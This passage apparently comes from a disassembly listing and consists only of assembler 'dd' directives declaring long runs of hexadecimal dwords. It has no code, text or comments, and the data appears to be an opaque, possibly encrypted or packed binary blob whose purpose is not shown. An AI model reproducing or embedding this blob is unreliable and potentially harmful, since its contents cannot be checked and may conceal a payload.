0F6ADE321h, 3179DD1Eh, 5BF5614Dh, 0AC1E6DA3h dd 129C6667h, 0F9165251h, 8C19ACCDh, 9B862707h, 8289477Ch dd 23521D0h, 1C5E28E9h, 8FEE5070h, 0A0228D61h, 0B96AAC71h dd 13841298h, 0CAC05BADh, 0B3745243h, 0D60185E8h, 55F9F58Bh dd 4726BE12h, 3F8C17F1h, 2C037808h, 225909FAh, 0FC5A725Eh dd 0F902D427h, 1CEF6DDh, 0E8095578h, 0C803679h, 1AEE9CA0h dd 0B53239D6h, 0FA1BD201h, 4FB914Bh, 0D1A67C00h, 1A5711h dd 0AE810AB5h, 7E32E9CEh, 0BF520400h, 44F07D4Bh, 0BB90E25Fh dd 6A1C796Bh, 0E9A41FBDh, 0CA2EB9FAh, 0DB800946h, 74D13Ah dd 0E184BA32h, 0BF00A2BDh, 33C453DAh, 951675Dh, 7B8BC36h dd 2360CADEh, 810B95BDh, 6A752F5Fh, 77A02EF6h, 90B50A4h dd 0D70EEDBDh, 17B0804Ch, 6104C535h, 0BA4095AAh, 2C2E4108h dd 0E5691F35h, 3EF4527Ch, 0CF82364Ch, 2F26E9F7h, 0DEC6775Eh dd 0B0F82F2Dh, 16F79B40h, 70E6B913h, 97530FBh, 162D585h dd 0E171E436h, 0DD2BD7FFh, 80762876h, 8C7609F3h, 6C0A12EEh dd 0BB51F02Fh, 7B9EFC02h, 5E42B74Dh, 30BF4056h, 995F54Ah dd 4193D75Ch, 53180CCAh, 30539860h, 8B172F91h, 5B1361F1h dd 0AD0DC82Bh, 0C06BA3ADh, 6EE9F8E4h, 8B0763D6h, 5F114C44h dd 122FFD8Ah, 8D090434h, 9E2EBC06h, 1705BD46h, 62B72512h dd 6C0E36EAh, 0AFF9D6DEh, 14B9D664h, 72C06B4Ch, 8F4FD11Ch dd 0E1C2B202h, 0DDC9EAD3h, 0F94BBB14h, 0C67834D9h, 0AD9509C1h dd 81A80625h, 0C43EFC5Fh, 8427B916h, 9136CB0h, 1504F877h dd 0BF12FE31h, 6BD3D2B2h, 19100B29h, 3CE700F8h, 1EF81ECh dd 445228FCh, 50FD2B9h, 22956704h, 6B5365AFh, 0FF301459h dd 348D10FFh, 9814803Dh, 0D04B83FCh, 66C02B2Eh, 0DEBAEECBh dd 0E9E967C1h, 0CDE94373h, 1E3240C5h, 0C531EEA1h, 1971663Ch dd 637FB105h, 59B90ED3h, 0A42D2083h, 95A0556h, 8061B3D2h dd 0B22A0871h, 7469C527h, 1D46D602h, 14721E00h, 0E1FEFB75h dd 7107B712h, 23A58404h, 412125F4h, 1E9D2B2Ch, 14006A2Bh dd 62FC96B9h, 570E3D62h, 5E694A47h, 7A00D487h, 0E2E81FB2h dd 2DC55923h, 0E50929F5h, 0CA72295Ch, 0C36D7D9Ch, 0DE8B23E1h dd 8137202Eh, 0AF12C0E7h, 21BD5109h, 0AC35A9D3h, 78EE002Ah dd 134EF1Eh, 629A6D9Dh, 0EDE1FF2Fh, 0E55CC03Eh, 0D325A80Eh dd 115DC5F5h, 2CCA4A91h, 9B1B9F35h, 45EED239h, 0F8238EF5h dd 717280BDh, 1F579B2Fh, 0E2B1F4h, 8C395415h, 0CA12B93Bh dd 5EE20123h, 3E565E9Bh, 0C587F010h, 2BDB02CBh, 6049B627h dd 9F70207Bh, 939000B8h, 62425B73h, 997DEB6h, 0DC70FE60h dd 23FC5601h, 53BB6613h, 2CA5A52Bh, 9529209Dh, 412257A4h dd 1BE9BD0Bh, 0BCB3752Ah, 6E5F82B1h, 5655E265h, 0D69CE807h dd 22D68A00h, 0D4D5A0DBh, 9979B04Bh, 0BA622FEDh, 0DC5CF3E2h dd 245CB7DCh, 2CD98B0Bh, 0D3D80654h, 11A4F84Eh, 6800119Dh dd 0E017D21Bh, 2E1224BBh, 0C4A0074Ch, 4D3176E4h, 0E3BC8B20h dd 18016D79h, 32EA9240h, 28615161h, 0C6F586Eh, 71950BC9h dd 87D9644Ch, 0A29B11FDh, 0EA242B65h, 2A859CDEh, 18A4AC2Dh dd 597ABBCBh, 31E98029h, 609A82B5h, 2D57956h, 0E76A7EA0h dd 7D35CA83h, 6DA78190h, 4C1DF900h, 0BEC12234h, 585B615Ah dd 2BDDA9E8h, 0CD2BEC99h, 55B803F9h, 85017305h, 0CBAB0EF1h dd 55DA4E58h, 2750809Eh, 96992BC5h, 0C6DA8B25h, 2D5FB02Bh dd 6FD331D9h, 0DE181679h, 9FEE7828h, 5B0D1520h, 1AF6F89h dd 0DB19BB1Ah, 0A23B4B2Ch, 0C2A8B8h, 78A87D66h, 0CE827E88h dd 87172EF7h, 6F8E1B9Bh, 0C889AE85h, 0B4880AF2h, 49ED0774h dd 62716991h, 0BBA52E68h, 31C2B050h, 768D594Bh, 44EDFE30h dd 527BD08h, 726A7C0Fh, 50739DD8h, 44AF93D6h, 0FA880FFFh dd 31E5DA99h, 995A5BF0h, 9BCABA04h, 5FB88B98h, 5625626Ch dd 64B1CDF8h, 0F0F4601Ch, 896802B5h, 0E0E82D3Fh, 7A1FE7DEh dd 0F7B2D6F4h, 33452100h, 8FFF958Ch, 0FD90E20Eh, 3F2D2674h dd 0ECAA6EAh, 79184C21h, 791F658Eh, 4771080h, 0D8E7F712h dd 3B325402h, 0DC5F5B51h, 1446D4EFh, 5C60C12Fh, 0F125026h dd 5AED188Eh, 0D83EC6C1h, 90B96EF5h, 4F09BBC0h, 5B4D5C0Bh dd 39AF966Dh, 0EB68842Fh, 0BCAC567Bh, 0A7BFABA7h, 7D31970Bh dd 4AE9DDC8h, 537A3EE1h, 8220E813h, 540F3007h, 0C4EA1BE9h dd 321DE188h, 0F9CF8E6Eh, 496A3Ah, 1519DAADh, 9C86C289h dd 3850877h, 0C1AA62Ch, 1CCC7D2Fh, 0A2A6DF04h, 0E7B84102h dd 771A10A2h, 9500B635h, 21432FE9h, 898CD352h, 30264B9Ah dd 0B5315DDBh, 9D0A9289h, 3854DB51h, 0DC005AA3h, 1B4D5D51h dd 1897294Fh, 95C780E3h, 292FE8CCh, 0A709D59Dh, 15599C5Bh dd 96D42019h, 0ECF9504Eh, 250EB71Eh, 9FC0BCEDh, 0B560D6D7h dd 2DCFEE08h, 615650E4h, 0CC205A96h, 12B7B84Ch, 0E30DD204h dd 0B989508Eh, 639C0C4Bh, 0C88A5E0Fh, 0E5B5D3D2h, 59AF50EFh dd 0AB1BE905h, 0A3EF31B5h, 8CBF095Ch, 0C8385D64h, 0CD9D09E9h dd 6018E48Ah, 4A302F3h, 0FA8BE3EFh, 495FB8F8h, 9E12BC30h dd 678D096Dh, 0D9E75070h, 0C6D46FA9h, 161B02FBh, 0B5575B41h dd 801C9150h, 1779C69Dh, 7E3A0F8Ah, 8160C55Ch, 14B0E1EFh dd 4ABD7F48h, 0E70561C9h, 0AD4B86B9h, 18EE829h, 30DA8AB7h dd 61F5B06Eh, 26612BE7h, 956F8D29h, 6B2EE807h, 64F66D0Dh dd 9F83601Bh, 42FA0280h, 9607218Bh, 560A7DCh, 898A3h, 6F503C4Fh dd 0B355D019h, 57445217h, 0D754D0BFh, 0AE0180D3h, 59487ADFh dd 23505061h, 0E201B10h, 385111C3h, 3FAE80FDh, 96FC30B8h dd 0C4494D9Fh, 0B6C8FF74h, 371B1355h, 6312AFC0h, 0A22BAEA1h dd 0BD21A820h, 0DC59B289h, 7F2212ADh, 0A0F00280h, 4809AB90h dd 710DFF23h, 2E7846C8h, 0DC76D4BDh, 2E645600h, 25B92CC4h dd 0A8FB260Fh, 1DA108E8h, 52167124h, 10038EF2h, 91B0C1DCh dd 0A1D80AD8h, 0AE47FAB6h, 7A353557h, 5BC882BEh, 813651F5h dd 78947DFAh, 9C67E454h, 0DB00E773h, 0C32F6977h, 5973316h dd 458FE3BBh, 0AC20AA59h, 27ED0EE0h, 0D9619674h, 12C04A19h dd 0EEE35F53h, 0F0D2862h, 0B00AED0Ah, 224B1852h, 77D55CB1h dd 9D23024Ch, 0DF5545D1h, 0E55D8662h, 5552560h, 2968A379h dd 4B7C2D7Eh, 4FB0AD8h, 312FDBACh, 799540D8h, 2390EB62h dd 2500E51Dh, 982FF8A3h, 167830F4h, 0AA0504C0h, 0E95F2C30h dd 0F40997AFh, 0CD71E8D3h, 24076330h, 8A0BBE3h, 6013345Dh dd 813634EFh, 20908E81h, 5EBF6138h, 0F302DE10h, 99DFE30Bh dd 5E6D7812h, 0B114BC34h, 0AA041D75h, 86ECE3C0h, 0B1600550h dd 8C8D0F41h, 0D809B864h, 85906195h, 0B6EF6A99h, 3912E007h dd 7DFB0962h, 4A03712Bh, 4C4FA39Dh, 0D305336Eh, 0C1EF0D78h dd 8244B73Fh, 18FED5E0h, 809DB706h, 0C2E751A6h, 909540C4h dd 926422h dd 0AC85F146h, 0EBC85ADBh, 50D74904h, 2CBC4430h, 0FEA6E4Bh dd 0C0F61393h, 751DA8D3h, 0A2BF1307h, 3200FA2Eh, 0CE92F8BBh dd 2EDEB738h, 0E76D00F4h, 0EFB854AEh, 1E2CABEEh, 50B6F78h dd 92969216h, 775BFDC9h, 94CE757Ah, 0D7132F90h, 6A78D62h dd 37CF6BA0h, 927C402h, 5E7780D2h, 0B526F6Ah, 96D72E4Ah dd 0D44FB6DFh, 9B8B6C01h, 44D69403h, 146A086Fh, 376DFF1Dh dd 9DD5097Ch, 1B654682h, 44D69C57h, 5602BF95h, 6A416ECEh dd 874D402h, 57010869h, 2436F781h, 0FB605DD5h, 9E82290h dd 0AEA3B304h, 94FF4738h, 0D917AABBh, 0B9FE30AFh, 2132A90h dd 7E30B2F4h, 5E8D76h, 0E771BA81h, 3EC211A2h, 0C2E0BC25h dd 0DC6ED671h, 0A5978B5Ch, 0E86ABFh, 0DCACB6Eh, 1C05E4B9h dd 90BD29F0h, 25E93D1Dh, 928FE50Ch, 36FD55DFh, 9D00B3BCh dd 1899055Fh, 1C511DFCh, 0E5C9BD09h, 0D301D03Dh, 475F0F49h dd 0AF73352Fh, 5565B020h, 4D8E076h, 9AE53097h, 0EBC5C150h dd 3EF921D3h, 0ADF0EBB6h, 0C02D5149h, 42BD7927h, 551602F1h dd 162A0D09h, 906BAF29h, 0AEC0AB59h, 0ABD350D0h, 5E900D0Eh dd 0DDC8522Eh, 4D0A04A9h, 0AFFAF592h, 330B757Ah, 6B81B98Dh dd 7B14220Dh, 0E4F0DEB6h, 0B2025D74h, 0F42F84F8h, 0C04FC0C9h dd 15B09780h, 0F800142h, 0B0DE25B7h, 0E601BC70h, 87EB8070h dd 0F06071E4h, 90B40D1h, 347D8D16h, 20CD8ABCh, 12266845h dd 0F88C8B6h, 788E0217h, 0F102E9BEh, 4AABE65Fh, 915BD80h dd 5D5B95B7h, 0B9520B98h, 0D520BB05h, 1DD55F5Ah, 5A18B81h dd 0D7DFBC05h, 890A4AAFh, 0F7804191h, 2F002F99h, 6777E781h dd 0D5395C8Eh, 5A107D10h, 0FBE5B7E1h, 62B7D1ECh, 192D1EE8h dd 3DB6E903h, 79982B4Dh, 118A771Bh, 0D78BB28Bh, 2404CA45h dd 0BB1E2Bh, 50858B1Ah, 474F554Ch, 47A585E1h, 3C6052C1h dd 0C9FED6EAh, 9FA33B8Dh, 61FC8A0Dh, 1BF1C232h, 4AF1C500h dd 0C8C385Dh, 0D8E3F668h, 1C5A3D62h, 0E22E6F3h, 15D9DAC4h dd 0FEB24948h, 6B755EDEh, 11971178h, 0B9143468h, 0D1578967h dd 0BD2B8621h, 6FB07999h, 3F7A9551h, 8D1DD9E7h, 8101E059h dd 43413EE6h, 602F6109h, 187C8279h, 8A8B379Dh, 1785CE7Fh dd 0FE4CD485h, 9B09B86Fh, 0B05D01C0h, 41859D4Ah, 0B5CE9813h dd 4EDDB965h, 0E894980Fh, 0F7C89601h, 97DF81FDh, 0DB9C162Fh dd 0BF2780A9h, 6E3D9775h, 9107964h, 71F88BFCh, 89D82D6Eh dd 8D6B0E41h, 112DECAEh, 607BDCBDh, 0B63E7CA4h, 733DC20Bh dd 413FDDDDh, 656B30ADh, 0E83F02DEh, 0F0863A02h, 0DF702553h dd 0C0A262E8h, 4D771495h, 6729C8FBh, 0F422E9A0h, 4DD705CDh dd 0EDCCEBD8h, 5A2A1809h, 7D0E8B21h, 0A98DF038h, 0D3702FFBh dd 4BC18529h, 0C0B4CB12h, 3F5ABABBh, 8F949756h, 3D975370h dd 80B21FFBh, 0BA7AA1F2h, 98813E8h, 2AD200FBh, 0ABFEE5CCh dd 0F300AD4Eh, 0DD566C03h, 586A46BDh, 0CA09275Fh, 41185B02h dd 0D3B51AB3h, 0D98504C8h, 68B82421h, 0B3409FA3h, 2C409996h dd 5CC809BFh, 73790C48h, 1802A245h, 571AA995h, 59449F1Ch dd 20604A57h, 3F78452Ch, 3F7023Eh, 5A402530h, 5F619050h dd 7CBF0560h, 0EB186FA4h, 0E321D0C8h, 256A6B1Dh, 2FBEC600h dd 3DE8408Eh, 0C5254BB8h, 4518E61Ah, 31A52128h, 18762ECDh dd 95757FECh, 356B84D1h, 2FD18530h, 5908EA7Bh, 0E6D6270Eh dd 0E11870D6h, 0D1093B08h, 7CF46EECh, 263D4032h, 0F0E13C1Fh dd 56098840h, 0DD0FEAC1h, 0BD0B6818h, 5625CD5Eh, 0F78CD8BFh dd 7935C500h, 6B5E6809h, 0AD1B48B6h, 0E05CDA25h, 0A91EA11Fh dd 2DE7EA4h, 2A0D75DEh, 0AA54C47Dh, 41186FA5h, 30143679h dd 1B0066B0h, 533F512Eh, 9D5B5F57h, 1A5919D3h, 6302A318h dd 3154EDC1h, 73C5E11h, 35F90FE9h, 0BDBEC886h, 96EA55Dh dd 7B0BD380h, 0AD88151Eh, 1B452581h, 25982B55h, 1DD21BDh dd 1082DC49h, 2511581Dh, 0FDFDCAFAh, 2940A8EFh, 43E019Ch dd 949F77E1h, 89F905D2h, 0DB8DB5EAh, 385FBB97h, 128CBF19h dd 0E101F3CAh, 0B19B7AC8h, 9D9A5680h, 0C50EB3E0h, 0C53CBF96h dd 38F82B81h, 0A758F83Dh, 0F7224D18h, 0B97F9B7h, 1EBD57C3h dd 275759A7h, 0FFA7B63h, 618D6802h, 6D243BB9h, 35D13B72h dd 8F6ECFh, 57E11EF2h, 260E45EAh, 91C55FC8h, 1FBF1F71h dd 8D5549C7h, 2CBFD5BBh, 0DD50320Ah, 0BD38784Bh, 0A8A23352h dd 40D8CFDDh, 857797A5h, 5EFD923Ch, 0BF6220BFh, 8000A4E4h dd 66605B7Fh, 17CE54BBh, 0B5AD9D89h, 0E00BC5D0h, 0CB60471h dd 5E2F198Bh, 0E7817830h, 95780109h, 44735911h, 0B18F8C33h dd 4BE92340h, 0B083E743h, 5B965822h, 0C29FAC78h, 5C32F380h dd 0BA4A7776h, 0DC5709D6h, 0C3EDAB1Eh, 578AD6C2h, 0EF605F16h dd 13B1BF49h, 0E22752E2h, 0AB03DDC5h, 1828AA7Ah, 9551B5D4h dd 8D7B5840h, 1AFB0011h, 0EB87F351h, 8C02C48Eh, 0C304D654h dd 824FF995h, 0E299D23h, 914C3757h, 6C2D8515h, 162FA0F8h dd 57E15Ch, 20C59AAEh, 7090C04Dh, 99B06F4Fh, 42545C62h dd 0E7036912h, 2D962CB2h, 0EE4C0811h, 50270222h, 0BB62605Fh dd 0BD8E5E9Ah, 87C1C4DCh, 0F6FE75ABh, 0BCC7A0E7h, 3DCA0EDBh dd 0DF25450Bh, 0FE8525CBh, 0AB865A9Eh, 0E45D877h, 0C52A6A78h dd 9D092D80h, 614BF252h, 62D0B89Ah, 3CE51AC0h, 71041286h dd 112B5DCFh, 0D700D5B2h, 53219F2Ah, 0BA4A4B15h, 0CD3E1DE7h dd 9F652B4Bh, 0F823B385h, 0D5DB7782h, 0FB4BCFE4h, 6EAB9F85h dd 57D70071h, 916F9890h, 0DA5CC017h, 0C67DA5BFh, 95BD6E4Ah dd 98C18ACh, 0DE1F3816h, 0B82A8455h, 0A2B7BEBh, 0AB29BDBEh dd 0A51FB50Ah, 86355749h, 0A5801C91h, 43F45940h, 4E3F5405h dd 2AE3F8F9h, 1398A2Eh, 245357BBh, 69173E3Fh, 0C64374BEh dd 96580CB3h, 0E791646h, 0F9672CBBh, 26BC314Ah, 0A95FBDB4h dd 0F510C23Bh, 42514E5Ch, 0B009B73Bh, 46623A1h, 6405607Ch dd 154904D7h, 50F00917h, 3271179h, 0A2E77850h, 4B0C5D8Fh dd 24BC9E8h, 1AC8D89Bh, 0F5217BC2h, 0C6B73BE4h, 2C6E9564h dd 4060CD97h, 3C799DBDh, 0C5035A18h, 852489B8h, 0F551422Dh dd 0C9259A4Eh, 0E94B5E12h, 1C6F827Fh, 0EB34D790h, 1CDCB1B6h dd 364E0ACh, 0D9BD0986h, 0C268B9FCh, 0D3C60AB7h, 2EB20F74h dd 8496AC60h, 7995953Dh, 787EE944h, 0C3648D4h, 0E900E17Eh dd 0FF71F453h, 7B7B7h, 0AB923343h, 0B5721242h, 5E4EDE25h dd 0C900F464h, 0E4D2E5F8h, 45AFA4h, 0F38161B1h, 1DDE7809h dd 0BF4B1897h, 11010B53h, 49F99004h, 0D88A6087h, 5061D781h dd 0E2B32Bh, 4CE38190h, 156BBFB4h, 83FD9D33h, 0A6D36A2Fh dd 7A23907Bh, 2F660ED4h, 0B7F27BC6h, 1B23A162h, 9903D20h dd 0D2A22EDAh, 31B16C02h, 0DE8FC0Dh, 7813B819h, 0E62E5AB5h dd 3016A2D0h, 0B750F086h, 24484A0h, 81BD4AB3h, 0F9E52D2Eh dd 2CDDE103h, 8D89843Ah, 2EC95EEFh, 0DE48F4FEh, 0E551743h dd 1B2FBCB2h, 0D35A575Eh, 3AD051ECh, 19B2EEF6h, 2DC3230h dd 25694DEBh, 41EDD1FFh, 3A5480E0h, 0FB190298h, 35D1C242h dd 6F23C43h, 6F71F356h, 20C78011h, 37B50226h, 0B81A0138h dd 6A7BD445h, 7025B882h, 0E0FE5028h, 9024406Dh, 0E60EBFF6h dd 0F303ECB2h, 76E197E6h, 192BD4C9h, 6682A402h, 0CC6080BFh dd 815300C4h, 0B3C9EC7h, 0E9255F13h, 71AA5C35h, 427125ACh dd 93A9110Fh, 9E5E00Bh dd 0EFFFB500h, 95C06BCFh, 10079AB1h, 1FED821h, 6B708C20h dd 38D98B50h, 0A7204FA7h, 4B6A8Ah, 0A8904721h, 4201F8F5h dd 12498048h, 29AE1D3Dh, 4A5A384Ah, 0D4418A99h, 0E22A1991h dd 259AD628h, 7C8EF381h, 2BD33001h, 0CAA7B59Ch, 91E00431h dd 0BA4A61ADh, 0EB0F186Eh, 0B1A0830Ch, 0E59D89D2h, 0D780B3C2h dd 0D5A2C1ABh, 734F5FC2h, 0EDCAD54Bh, 306F90DFh, 0DAE20769h dd 0C0B68718h, 0A5E073CAh, 54C7CAB7h, 5328C4A0h, 0E04200AFh dd 0C18AE8A4h, 9BC615Eh, 12D99D08h, 3D29BB00h, 4BE61C7Ch dd 4D9A8870h, 0C7902C1Ch, 42481440h, 0B671E4C1h, 9D036086h dd 999510D5h, 80C2ECBAh, 3845B93Ch, 35D99789h, 0C8B62430h dd 3710BF57h, 104F36Bh, 0BA5F8BABh, 850E31FEh, 89C00425h dd 0F48FC381h, 0C46E4AE6h, 5AA4A8ADh, 4A8B348Ch, 0F8A0D0FBh dd 4D0FDB81h, 0A773611Bh, 0C09760D1h, 11FDAA01h, 0E680C078h dd 1AF641BDh, 0C9170E01h, 55852914h, 2E5E1064h, 45BEE961h dd 49FBA08Ah, 444C4E70h, 0CAE139EFh, 6B8A0C9h, 0E9F9BB02h dd 7A56235Eh, 0A5BD22EFh, 32552405h, 0B52930DFh, 0F7B9F15Eh dd 38DD3DC9h, 21E0C6Dh, 0E8E4661Bh, 42765D31h, 25B8704Bh dd 946C6379h, 5F0F84Fh, 0B4088220h, 0BE600067h, 64404885h dd 296118C9h, 858653E1h, 0BB188C5Fh, 0AD01CE6Fh, 8BF27C38h dd 0BD2900F9h, 92399609h, 5A6EB3FDh, 0C0014CE2h, 0D424BC62h dd 16BBF478h, 0FC81FB07h, 0AFAAB95Bh, 78B7532Fh, 10240BDh dd 0D471C9FAh, 2D8A56F7h, 0FC70EAD3h, 9F6E12F9h, 80C4E3C5h dd 0A7DA7B2Fh, 0FCD3247Ch, 0C81088Dh, 37C02B0Bh, 13B8556h dd 0A0D1BF23h, 51A42C49h, 1DB50E4Dh, 75834EB0h, 0BB00EC31h dd 3B56A64Ch, 0B2CF614Ah, 3012454Ch, 614504DEh, 9675AD25h dd 0D3A37104h, 14B2F0E6h, 5EB7E230h, 2ABCF14Eh, 0BD614837h dd 930E2B05h, 0B5E71DB6h, 11FAF27h, 36099760h, 5C446951h dd 21E22C5Bh, 118E37D7h, 60AD8E1Ah, 0B316436Eh, 35D7A165h dd 0DF59496Fh, 46D6045Ch, 3BF90115h, 0D7B7E1FFh, 1F72282Bh dd 2D690450h, 0CB3305Ah, 227278Dh, 6A56FFD0h, 0B216E151h dd 8C2FFA90h, 0C4E36DD9h, 468ACC9h, 8FDBD89h, 4CC446ACh dd 1E9EBB01h, 0C4FDA080h, 0AC654235h, 0CCC99EEh, 6A578925h dd 25D55088h, 0E6D96D16h, 254EF0EBh, 9F5B5F5Bh, 1C0E0911h dd 0D44F8863h, 0A3993EC2h, 0B7628F56h, 0B74075BFh, 0A8BAF3DDh dd 9E0DD0B7h, 13B7A7D6h, 1930BB80h, 2706E668h, 9071D1C7h dd 0F1CEA600h, 380859Dh, 0A706D960h, 22C8FC98h, 0DB30BD90h dd 0FD198881h, 0DB2E4F57h, 604F8EECh, 0D593F24Eh, 0DE3A1C5h dd 606555C6h, 40F06DA7h, 72EF93Ch, 8D290E12h, 0BD1722ABh dd 54DC4A55h, 4CEFA767h, 12615540h, 0B73B12D2h, 718488B1h dd 603A5F61h, 0F1F0988Dh, 0EA59701h, 6EB4EED1h, 0BDCFBF90h dd 2B6FF261h, 5077863h, 21FF808Ah, 2044681Ah, 91B5B38Ch dd 0C8E4A595h, 3EE217E5h, 0D814A15Ch, 22DB776h, 0B7C652BFh dd 1880D63Dh, 0CACCC160h, 0B2BA0B78h, 538BC05Fh, 0A58935D7h dd 3F1678ECh, 7F122596h, 0DAA9F012h, 50C5B3D2h, 19DD0923h dd 121566A7h, 0FA071597h, 0DD1F9D49h, 1791F135h, 19828B81h dd 81E82AADh, 4E35A996h, 8FD190F1h, 0B26AAA49h, 9FE30074h dd 0FFFA6720h, 0ACE4095Ah, 8980BF28h, 0B70DEA6Fh, 0DA5BB527h dd 0E3539519h, 38946F78h, 0E6A56122h, 1B64F96Dh, 0E5D8CE60h dd 1278F21Ah, 15B402FAh, 8DB52232h, 0E9684768h, 0DE385E0Ch dd 0B5DAC056h, 0A51679C8h, 3A21E632h, 52E3A9D1h, 0EDD695DCh dd 523A94DEh, 0E8449540h, 2ABB5002h, 0D72873CCh, 91268364h dd 0CD723129h, 0CE606FA3h, 0BFBCE59Ah, 1012C4E4h, 5205612Fh dd 0DBEB24A5h, 0B7F6564Fh, 0DDF29CD2h, 0AA149185h, 9F354538h dd 2C7D9410h, 85C34589h, 0D2619BFAh, 0E2502EF3h, 0B7E31270h dd 0A83FC41Eh, 6A97EEF2h, 31E701CCh, 9495C22h, 7A2AF17Bh dd 74A097B7h, 800E629Ch, 0F2549A67h, 2384FEB2h, 8F28AB04h dd 37E40AEBh, 59F736BFh, 27B3730Ah, 2E2EE1F8h, 0BFC0C879h dd 9337DE1h, 59A1739Dh, 0B06B1916h, 509531B9h, 0D5389586h dd 354ACB80h, 16ACBBADh, 6E72178Ch, 1690BB62h, 8B8D25h dd 0E7FD953Ah, 2DC435FEh, 20ECCF4Ah, 5621EA02h, 0C2846158h dd 4852EBBDh, 0B3797FF5h, 9299658h, 70B7428Fh, 3188827Fh dd 3C3D750Bh, 1ACC7102h, 0B2CBE39Ch, 318E9406h, 0AD1C5F56h dd 0A69D6A2Fh, 5287817Fh, 24B82A1Dh, 69308FCBh, 0B9952599h dd 122BFC8Eh, 81AADB6Dh, 6FD0733Ah, 9B89172Bh, 80F48F46h dd 4FDCB670h, 98A113E0h, 2073B8E6h, 0EE607403h, 0F64B9D79h dd 0EA5285ECh, 6A4A57CEh, 9FD41656h, 0E2E6EF30h, 12069081h dd 0B3B440EAh, 0BD0905A2h, 0A9E30649h, 0B9224E72h, 8C1DBC10h dd 56AD4300h, 830FBD5Ch, 88652759h, 5D4A4258h, 0AE9352B2h dd 3AB9D434h, 60458CC8h, 0A085A6F0h, 62FD8A09h, 18C55696h dd 72737355h, 0ED044DFBh, 0FAA5800Fh, 0FB80D268h, 0C5488D10h dd 25C1FBBDh, 0B5BDC54Eh, 1F3A0045h, 921951E0h, 23842916h dd 481D5609h, 0B52B8DCEh, 821AEB47h, 0A5CD5F46h, 86D6B6E0h dd 0C1AD0184h, 0F1B50997h, 0C4FD2B30h, 1E9FA180h, 66B50584h dd 0E6020016h, 0AD7FDA63h, 0D500D31Ah, 0A2E58885h, 48F58D17h dd 3448114Bh, 0B8BC354Dh, 2B78110Bh, 0C4AB2862h, 0A2EEB460h dd 8ED50012h, 1676430Eh, 73955C88h, 0C4385A17h, 4003C18Ch dd 0A14BEAE5h, 0AA784B11h, 655E2E6Ah, 3FDFE0E2h, 5BD8A926h dd 57318D0Bh, 0CCADD3B7h, 4AB60762h, 54BB667Ch, 0D324B8B8h dd 0ECFF20ABh, 770E7A9Ch, 1CC7C3EEh, 5B2631C7h, 0D1F9E990h dd 69C91202h, 8838E2D9h, 95898234h, 0B7550D4Dh, 801A9180h dd 831F93DCh, 7B6425A9h, 0E78038C0h, 2E8F744Bh, 37B01E56h dd 34260EB9h, 1D08AFD4h, 0A8E90925h, 102D8956h, 0FCDF08FBh dd 0C2E0C0h, 0B78FFA97h, 8B5D91D5h, 0B79BC14Ah, 972DBC80h dd 0DBFC612Fh, 14E39200h, 0D6DC64BBh, 0EF73B568h, 30491959h dd 265AB36Ah, 6860F650h, 0BE02D27h, 0D61BEE5Fh, 0ED25F959h dd 0EF9C0BDh, 0A65FCF74h, 0E52EEC5h, 0C4B7DBAAh, 0D5C465B5h dd 2FC53BBh, 917BE7F2h, 0C6578A87h, 51B01619h, 0DB278995h dd 65557274h, 0B5F82573h, 90ABEF00h, 60503EB7h, 29815E0Fh dd 0EAAC7F2Ch, 29906182h, 6C9D9ED8h, 1EDB06ECh, 0A26B2868h dd 0F2278BBEh, 405AAF07h, 0DBE55331h, 3D847D4Bh, 0E804EDAAh dd 4DCE1D8Ah, 0FB68D30Eh, 569F6D1Ah, 1D46D648h, 639BAB00h dd 0DF8DB139h, 0C2380316h, 82EBD764h, 20FEBD49h, 25385627h dd 9B7053DBh, 799504DEh, 0B8FA5E84h, 4AD3A351h, 0BCBCAD2Ch dd 890953Fh, 3100281Eh, 11A7459Dh, 1EAB36Dh, 2332CC29h dd 6B52C4A9h, 6A5F8102h, 0E02DCD02h, 8AF26F63h, 9866B709h dd 0CC107F75h, 8C3FE0C4h, 0DD5592B0h, 505B7F44h, 9C9378Ch dd 7FB769EFh, 0B74DE929h, 0B73C80CFh, 249F6178h, 607A71DEh dd 76A1E0Dh, 267B0A2Ch, 0A9CC920Bh, 6004CFCEh, 43CBEDCEh dd 0D5B3DD04h, 38ABD2E9h, 0FC906182h, 6BD0AE9Bh, 0DC540BE2h dd 0F676DD65h, 9014BB01h, 362E5D2Dh, 0F93A1CC7h, 0C48B2D50h dd 51C70A35h, 0A5AC3E95h, 0D720BAD5h, 8D00A635h, 0D1600813h dd 26F725CBh, 0F454D991h, 7D0049A1h, 848AA61h, 90DBEE1Fh dd 52520D0h, 60AE5B4Ah dd 2CCB81FDh, 12C2BE58h, 0EDE734D1h, 31AF205Ah, 9701EF77h dd 0FCB5D9C1h, 0B730FF6Ah, 462A4AB9h, 43037924h, 2C95B517h dd 8EA088A7h, 61008912h, 3586397Eh, 0F88074DCh, 9F319788h dd 0C008C2D7h, 0D5B0DB0Ch, 16CDE6F7h, 0ACF570E6h, 95EF104Bh dd 54A5BD88h, 0E99D858Fh, 9D8EB30h, 1AF364B3h, 0C193A471h dd 0D9D10797h, 0BA512FE7h, 0B52AFCB8h, 0F846FA9Bh, 33712E00h dd 0FC4DFF8h, 0ED7950A0h, 0D3F60918h, 205007B1h, 97611640h dd 21BD3B5Ch, 0D1053C03h, 0C8CD8531h, 4C9C622Eh, 25266D42h dd 0FF07AA85h, 0FD622950h, 50715C09h, 56212C78h, 0A09114Fh dd 637E9F9h, 71DA8A09h, 6664A56Ch, 13312544h, 0AB1FB5BDh dd 2FF9BE28h, 0D1AA9D0Bh, 0B24B2026h, 0BC0C5A90h, 9B33A008h dd 0DEA29618h, 0D98A3C12h, 0BA5F94FCh, 8612916Fh, 4A63E3F8h dd 0A85E38A3h, 131920B1h, 811DB529h, 555FB965h, 0B879BDF5h dd 55ECA06Dh, 886CB52Ah, 0D4809Ch, 1DFA3D73h, 59B501FCh dd 0C02B53C3h, 0E6FD84BAh, 97C61ECh, 29D75702h, 0D515FD9Dh dd 0B5959EBEh, 0BFC90027h, 72CC2137h, 0C27843BBh, 1F9E3ECAh dd 0B25609A7h, 0D8F3D864h, 5AD9B750h, 0D776B22Eh, 62A88BADh dd 0A4109C01h, 0D28DA20Bh, 0F651FEh, 54348E9Bh, 650084FEh dd 0C5E47935h, 1266310Ah, 0E2861CBFh, 0B2BAB48Fh, 7E7C9034h dd 0C2DEB84Ch, 0F5BBA5BFh, 810B54CCh, 0D72C58DBh, 0B8DF5604h dd 1BA8A227h, 0EC56B9F7h, 0DC0BECEh, 27579442h, 34149722h dd 5C04A325h, 67F6F433h, 66B2409Dh, 8A394B84h, 603D3454h dd 0CB58DBAFh, 40E5D86Fh, 37B56019h, 0BB9F0051h, 